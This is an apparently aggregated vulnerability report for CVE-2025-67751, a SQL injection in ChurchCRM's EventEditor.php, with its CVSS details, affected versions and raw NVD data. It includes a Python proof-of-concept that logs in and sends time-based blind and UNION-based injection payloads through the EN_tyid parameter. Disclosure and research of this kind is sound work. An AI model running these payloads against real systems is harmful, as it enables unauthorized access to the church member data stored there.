Security Vulnerability Report
中文
CVE-2025-67751 CVSS 7.2 HIGH

CVE-2025-67751

Published: 2025-12-16 01:15:53
Last Modified: 2025-12-17 14:15:14

Description

ChurchCRM is an open-source church management system. Prior to version 6.5.0, a SQL injection vulnerability exists in the `EventEditor.php` file. When creating a new event and selecting an event type, the `EN_tyid` POST parameter is not sanitized. This allows an authenticated user with event management permissions (`isAddEvent`) to execute arbitrary SQL queries. Version 6.5.0 fixes the issue.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE
ChurchCRM < 6.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67751 SQL Injection PoC for ChurchCRM # Target: ChurchCRM < 6.5.0 # Location: EventEditor.php, parameter: EN_tyid import requests import sys TARGET_URL = "http://target-server/churchrm/EventEditor.php" LOGIN_URL = "http://target-server/churchrm/SessionLogin.php" def login(session, username, password): """Authenticate to ChurchCRM""" data = { "UserBox": username, "Password": password } response = session.post(LOGIN_URL, data=data) return "Login successful" in response.text def exploit_sql_injection(session): """Exploit SQL injection in EN_tyid parameter""" # Basic injection to confirm vulnerability # This payload causes a time-based blind injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" data = { "EN_tyid": payload, "Action": "Add", "EN_id": "0", "EN_title": "Test Event", "EN_date": "2025-01-01" } try: response = session.post(TARGET_URL, data=data, timeout=10) print(f"[*] Payload sent: {payload}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - vulnerability confirmed!") return True return False def extract_data(session): """Extract database version using UNION-based injection""" payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL---" data = { "EN_tyid": payload, "Action": "Add", "EN_id": "0", "EN_title": "Test", "EN_date": "2025-01-01" } response = session.post(TARGET_URL, data=data) return response.text if __name__ == "__main__": session = requests.Session() # Step 1: Login with valid credentials if not login(session, "admin", "password"): print("[!] Authentication failed") sys.exit(1) print("[+] Logged in successfully") # Step 2: Test for SQL injection if exploit_sql_injection(session): print("[+] SQL injection vulnerability confirmed!") # Step 3: Extract data result = extract_data(session) print(f"[+] Database response: {result[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67751", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:53.090", "lastModified": "2025-12-17T14:15:14.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to version 6.5.0, a SQL injection vulnerability exists in the `EventEditor.php` file. When creating a new event and selecting an event type, the `EN_tyid` POST parameter is not sanitized. This allows an authenticated user with event management permissions (`isAddEvent`) to execute arbitrary SQL queries. Version 6.5.0 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.0", "matchCriteriaId": "5A5441D8-981B-4308-AEF6-C0164766EA04"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/commit/2d6cf7aed9af1b9b47e125d1a2266f8e2a88f3fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-wxcc-gvfv-56fg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}